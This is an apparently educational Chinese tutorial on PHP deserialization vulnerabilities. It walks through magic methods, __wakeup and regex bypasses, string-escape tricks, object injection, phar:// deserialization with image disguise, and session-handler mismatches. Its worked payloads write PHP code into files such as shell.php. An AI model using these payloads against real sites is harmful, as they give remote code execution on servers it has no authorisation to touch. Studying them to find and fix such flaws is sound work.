序列化的相关基础知识

序列化是什么

序列化就是将对象和数组转化为可储存的字符串。

PHP中序列化是怎么进行的

在PHP中我们是使用serialize()函数将对象或者数组进行序列化,返回一个包含字节流的字符串来进行输出。

序列化简单例子

我们将通过一个简单的例子,让大家对序列化有个初步的认识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#创建一个类
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test(); //实例化对象
$d = serialize($d);//序列化对象
var_dump($d);//输出序列化后的结果
?>

此代码运行的结果:

1
string(73) "O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:"*b";i:1111;s:7:"testc";b:0;}"

其中各部分代表的内容:

  • O:4:”test”:3O是对象类型,若为a则为数组类型,4是对象名称的长度,test是对象名称,3是有三个成员。
  • **s:1:”a”;s:7:”sdfsdfa”**:第一个s是字符串类型,之后的a是变量名称,第二个s是字符串类型,后面的7是变量的长度,后面是变量的值。
  • *s:4:”*b”;i:1111**:和上一步的基本一样,不同点是protect序列化的时候为*%00*%00成员名**,%00有两个共两个字节,*一个字节,成员名一个字节,总共四个字节,所以第一个s之后就是4,之后的i就是int类型。
  • s:7:”testc”;b:0:我们可以观察到相比与上一步,变量长度又增加了,这是因为private属性序列化的时候为**%00类名%00属性名**,加上类名test+%00*2+c就等于7了,之后的b就是布尔型数据。

如果我们细心一点肯定发现序列化只对对象进行了操作,没有对方法进行操作,这是为什么呢?

反序列化

反序列化是什么

反序列化是将序列化后的字符串转换回对象或者数组

在PHP中我们通常使用unserialize()函数将序列化后的字符串转回PHP,并返回,int、float等类型的值。

类和反序列化的关系

我们把上面的例子加工一下,将序列化的结果保存到文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
file_put_contents('1.txt',$d);
?>

此代码运行的结果:

1
O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:" * b";i:1111;s:7:" test c";b:0;}

我们重新写一个读取刚刚生成文件内容并将其反序列化的代码:

1
2
3
4
5
<?php
$d = unserialize(file_get_contents('1.txt'));
print_r($d);
echo $d->a;
?>

此代码运行的结果:

1
2
3
4
5
6
7
__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => test
[a] => sdfsdfa
[b:protected] => 1111
[c:test:private] =>
)

我们看看输出的结果,发现类好像不太对,a的值也没有打印出来,这是为什么呢?

因为在反序列化的时候我们要保证有该类的存在,我们没有对类的方法进行序列化,所以我们进行了反序列化操作后要依靠类的方法来进行

反序列化漏洞的产生

首先我们先解释一下什么是反序列化漏洞,引用k0rz3n师傅的解释

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的. 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

把师傅的话总结成一句话就是:反序列化漏洞是由于unserialize()函数接受到了恶意的序列化数据从而导致成员的属性被篡改而产生的

反序列化简单尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class index {
private $test;
public function __construct()
{
$this->test = new normal();
}
public function __destruct()
{
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);

我们首先进行实例化,在实例化后会执行normal类中的action方法,我们的攻击思路就是改变index类中的test属性的值,使其能够实例化eval类,执行其中的action方法,想要执行一些操作我们就要去修改其中的test2属性,使其被eval函数调用。

我们根据思路,先写出index类,之后修改test属性的值使其能够实例化eval类,但是这些操作的前提就是我们要使其调用__construct方法,所以我们也把它加上,之后修改一下eval类中的test2的值,写入一个phpinfo函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class index {
private $test;
public function __construct()
{
$this->test = new evil();
}
}

class evil {
var $test2 = 'phpinfo();';
}
$a= new index();
file_put_contents('serialize1.txt',serialize($a));

此代码的运行结果:

1
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}

我们将生成的序列化使用get方式提交给test:

image-20220930170812217

每次一执反序列化的时候都会触发一些魔术方法,比如上面的**__destruct方法,我们在使用unserialize()来执行反序列化的时候就会自动执行它,但是__construct**方法不行,需要我们手动去编写,为什么这个方法不行呢?因为序列化本身就是存储一个已经初始化的值了,没有必要再去初始化一遍。

PHP魔术方法

PHP魔术方法有两个规定:

  1. 使用双下划线__作为方法的标识符
  2. 所有的魔术方法必须声明为public

PHP魔术方法的基本介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

__construct()

__construct()被称为构造方法,当我们在创造一个新对象的时候,首先执行的就是__construct()方法,在之前的例子中我们也看到在我们执行序列化或者反序列化的过程中这个方法都是不会被触发的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class User{

public $username;

public function __construct($username)
{
$this->username = $username;
echo "__construct test";
}

}
$test = new User("wdxxg");
$ser = serialize($test);
?>

此代码的运行结果

image-20221017232152243

通过输出结果我们可以看到创建对象在初始化的时候触发了一次,而在之后的序列化和反序列化综合中都没有调用

__destruct()

当某个对象的所有引用被删除的时候或者当对象被显示销毁时执行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User{

public function __destruct()
{
echo "__destruct test</br>";
}

}
$test = new User();
$ser = serialize($test);
unserialize($ser);
?>

此代码的运行结果

image-20221017232852982

可以看到__destruct被执行了两次,一次是实例化的时候创建的对象,另一次是反序列化的时候调用的对象

__call()

当对象中调用一个不可访问方法时,__call()方法就会被调用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{

public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}

}
$test = new User();
$test->test('a');
?>

此代码的运行结果

image-20221017234323986

__call()方法需要定义两个参数,一个是函数名,一个是传入的数组

__callStatic()

在静态上下文中调用一个不可访问的方法时,__callStatic()方法就会被调用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{

public static function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}

}
$test = new User();
$test::test('a');
?>

此代码的运行结果

image-20221018231500539

__get()

当读取一个不可访问属性时,__get()方法会被调用,返回其属性名

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $sum11;
public function __get($arg1)
{
echo $arg1;
}

}
$test = new Test();
$test->sum2;
?>

此代码的运行结果

image-20221018232023619

__set()

当给一个不可访问属性赋值时,__set()方法会被调用,返回其属性名和将要给不可访问属性赋的值

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{
public $var1;
public function __set($arg1,$arg2)
{
echo $arg1.','.$arg2;
}

}
$test = new User();
$test->var2=1;
?>

此代码的运行结果

image-20221018232432891

__isset()

当调用不可访问属性时用到了isset()函数或者empty()函数时,_isset()方法就会被调用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{
private $var;
public function __isset($arg1)
{
echo $arg1;
}

}
$test = new User();
isset($test->var1);
?>

此代码的运行结果

image-20221018233828383

__unset()

当不可访问方法调用unset()函数时,unset()方法就会被调用,如果一个类定义了__unset()方法 ,那么我们就可以使用 unset() 函数来销毁类的私有属性

1
2
3
4
5
6
7
8
9
10
11
<?php
class User{
public function __unset($arg1)
{
echo $arg1;
}

}
$test = new User();
unset($test->var1);
?>

此代码的运行结果

image-20221018234509834

__sleep()

在执行serialize()函数序列化对象之前,会调用sleep()方法,其中共有两种情况,若是sleep()方法存在则会调用,一般会用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,若是sleep()方法不存在则NULL会被序列化,产生报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class User{
const SITE = 'uusama';

public $username;
public $nickname;
private $password;

public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}

// 重载序列化调用的方法
public function __sleep()
{
// 返回需要序列化的变量名,过滤掉password变量
return array('username', 'nickname');
}

}
$user = new User('a', 'b', 'c');
echo serialize($user);

此代码的运行结果

image-20221018235951494

通过运行结果我们可以看出在进行序列化之前调用了sleep()函数用来过滤password的变量值

__wakeup()

在执行serialize()函数序列化对象之前,会调wakeup()方法,若是wakeup()方法存在则会调用,一般用来准备对象需要的资源如建立数据库和其他初始化操作,并返回一个viod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User{
const SITE = 'uusama';

public $username;
public $nickname;
private $password;
private $order;

public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}

// 定义反序列化后调用的方法
public function __wakeup()
{
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));

此代码的运行结果

image-20221019095830998

通过运行结果我们可以看到执行反序列化之前会先执行wakeup()函数,将username的变量赋值给password变量

__toString

当一个类被作为字符串处理时,toString()方法用于给其一个返回值,例如输出时有返回值则输出一个字符串,无返回值则产生报错

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{

public function __toString()
{
return '__toString test';
}

}

$test = new User();
echo $test;

此代码的运行结果

image-20221019095929815

__invoke

当尝试以调用函数的方式调用一个对象时,__invoke() 方法就会被调用(此特性只在php5.0+版本有效)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{

public function __invoke()
{
echo '__invoke test';
}

}

$test = new User();
$test();

此代码的运行结果

image-20221019095952681

__clone

当对象使用clone关键字进行copy操作时,copy后到对象就会调用__clone()方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User{

public function __clone()
{
echo "__clone test";
}

}
$test = new User();
$newclass = clone($test);
?>

此代码的运行结果

image-20221019100105430

php反序列化中各种绕过姿势

__wakeup()绕过

在PHP5 < 5.6.25, PHP7 < 7.0.10的版本中,当序列化字符串中的对象属性个数大于真实属性个数时会跳过__wakeup()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class User{
public $wdxxg;
public function __construct()
{
$this->wdxxg = "hello";
}
public function __wakeup()
{
$this->wdxxg = "word";
}
public function __destruct()
{
print($this->wdxxg);
}


}
$user = new User();
print(serialize($user));
print(unserialize($_GET['a']));
?>

此代码的运行结果

O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;}

若get传入一个O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;},则运行结果是

O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;}word

若get传入一个O:4:”User”:2:{s:5:”wdxxg”;s:5:”hello”;},则运行结果是

O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;}hello

正则绕过

preg_match(‘/[oc]:\d+:/i’, $var) 匹配反序列化字符串来进行防御,可在数字前添加+进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\d+/',$data)){
die('you lose!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

字符串逃逸

php反序列化字符串逃逸分为两种情况,一种是经过过滤后字符串变多,比如将一个字符串替换为三个字符,一种情况是过滤后字符串变少,比如将三个字符替换为一个字符

过滤后字符串变少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
function filter($str) {
return str_replace('.', '', $str);
}
class A {
public $name = 'name';
public $pass = '123456';
}

$s = $_GET['s'];
echo "before: " . $s . "<br/>";
$s = filter($s);
echo "after: " . $s . "<br/>";

var_dump(unserialize($s));

传入s=O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”;s:4:“pass”;s:6:“123456”;}后的运行结果

image-20221019224931704

从运行结果我们不难看出在被过滤. 后,反序列化失败,这是为什么呢?
因为当.被过滤后,解析到s:7:的时候会往后读取7个字符,但是现在读取完第7个后不再是双引号,序列化产生的结构被破坏,导致反序列化失败

那我们将第7个字符后面补上一个"符号,是不是就可以正常闭合了呢?
将之前的参数稍微修改一下,传入s=O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”";s:4:“pass”;s:6:“123456”;}
运行结果为

image-20221019224915339

过滤后字符串变多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#error_reporting(0);
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = $_GET['username'];
$age = '24';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

当我们传入username=wdxxg时,运行结果为

image-20221019231748403

通过代码我们可以知道是针对p/P过滤的,我们传入username=wdxxgp后,运行结果为

image-20221019232003983

可以看到输出的内容超过了字符串的长度,并且会产生报错
我们可以利用此漏洞来篡改其中的其他参数,比如我要修改age
传入username=pppppppppppppppp”;i:1;s:2:”18”;}

image-20221024181409531

可以发现本来为24的age被修改为24,这就是字符串逃逸过滤后字符变少漏洞的利用方式

对象注入

对象注入是什么呢,当我们往当前程序里注入一个定义好的类的对象,再结合类里的魔术方法中的一些存在安全问题的函数来进行攻击,这就是对象注入。

想要出现对象注入就必须得满足几个条件

  1. Unserialize()的参数必须可控
  2. 代码里存在有安全问题的魔术方法

比如这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class CacheFile{
protected $_localStore = array();
protected $_cacheFileName = 'externalCache.php';
protected $_cacheChanged = false;
function __construct(){
//some code...
}
function __destruct(){
if($this->_cacheChanged)
file_put_contents($this->_cacheFileName, serialize($this->_localStore));
}
function __wakeup(){
//some code...
}
}
$data = unserialize($_REQUEST['rest_data']);
?>

我们构建一个payload

1
2
3
4
5
6
7
8
<?php
class CacheFile{
protected $_localStore = '<?php phpinfo();?>';
protected $_cacheFileName = 'shell.php';
protected $_cacheChanged = true;
}
print urlencode(serialize(new CacheFile()));
?>

image-20221024183014826

传入构建的参数

?rest_data=O%3A9%3A”CacheFile”%3A3%3A%7Bs%3A14%3A”%00%2A%00_localStore”%3Bs%3A18%3A”<%3Fphp+phpinfo%28%29%3B%3F>”%3Bs%3A17%3A”%00%2A%00_cacheFileName”%3Bs%3A9%3A”shell.php”%3Bs%3A16%3A”%00%2A%00_cacheChanged”%3Bb%3A1%3B%7D

可以看到此项目下被写入了我们payload中的phpinfo()函数

image-20221024183056842

phar反序列化

phar

phar是PHP中的一种打包文件,类似java中的jar包,是用来对文件进行归档的。当PHP版本>=5.3时是不用修改php.ini文件配置,默认开启的。

想要出现phar反序列化必须满足以下几个条件

  1. 存在文件上传并且可以上传phar文件到服务器
  2. 存在可用的魔术方法
  3. 文件操作函数的参数必须是可以改变的

如何生成phar文件

在index.php中写以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();
$o->data = 'hello';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

访问index.php后会在当前目录生成一个phar.phar文件

image-20221025153246343

使用xxd命令查看phar文件

image-20221025154122204

通过phar://伪协议解析phar文件

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

可以看到析构方法被调用,但是wakeup函数没有被调用,我们就可以在不调用unserialize函数的情况下进行反序列化操作

phar://绕过

绕过phar://

  • compress.bzip://phar://a.phar/test1.txt
  • compress.bzip2://phar://a.phar/test1.txt
  • compress.zlib://phar://a.phar/test1.txt
  • php://filter/resource=phar://a.phar/test1.txt
  • php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt

绕过图片检查

  • phar文件名可以修改后缀,a.phar可以改成a.png,a.gif,a.jpg
  • 文件开头添加GIF89a,伪装成gif图片

php-session反序列化

在学习此内容前,我们要了解一下php-session的序列化机制。
session在php中的存储形式一共有三种:

php_serialize 经过serialize()函数序列化数组
php 键名+|+经过serialize()序列化处理后的值
php_binary 键名长度对应ASCII字符+键名+serialize()序列化的值

session形成漏洞的原因就是因为配置不正确或者是序列化和反序列化的方式。如果一个是使用php_serialize,而另一个使用php读取Session。因为他们的格式不一样,自己就可以伪造格式,从而可以控制数据。

我们用一个实例来给大家演示一下php-session是怎么运行的
首先我们需要配置一下php.ini文件,将session.save_handler的参数设置为files,session.save_path的参数设置为/tmp,意思就是文件的形式保存session待/tmp目录下

image-20221025162058472

构建一个简单的代码

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['wdxxg'] = $_GET['wdxxg'];

?>

我们访问页面,并给其随便传入一个值

image-20221025162325920

传入后在/tmp目录下可以看到生成的session文件,由于我们是选择了php_serialize处理方式,所以输出的是一个序列化的结果,其他方式大家也可以自己尝试一下

image-20221025162454380

php-session漏洞

这里用一个例子来展示php-session漏洞的利用
创建一个session.php文件,写入

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
echo 'session.php';
$_SESSION['wdxxg'] = $_GET['wdxxg'];

?>

我们传入wdxxg=|O:7:%22wdxxg%22:1:{s:1:%22a%22;s:17:%22%3C?php%20phpinfo()?%3E%22;}%22;}

image-20221025163342352

在var/www/html目录下创建一个空文件shell.php

image-20221025163618335

再创建一个test.php文件,写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
ini_set('session.serialize_handler','php');
session_start();
echo 'test.php';
class wdxxg{
var $a;

function __destruct(){
$fp = fopen("/var/www/html/shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>

完成上述操作后,我们查看一下/tmp目录下的session文件

image-20221025163743001

访问一下test.php,可以发现shell.php文件被写入了phpinfo

image-20221025164401873

这个例子我们看完了,那再重新访问test.php时,php_serialize的处理方式会将 | 后面的值当作KEY值在进行一次serialize()序列化操作,相当于我们重新实例化了wdxxg类,将phpinfo写入我们指定的目录中,完成了php-session反序列化漏洞的利用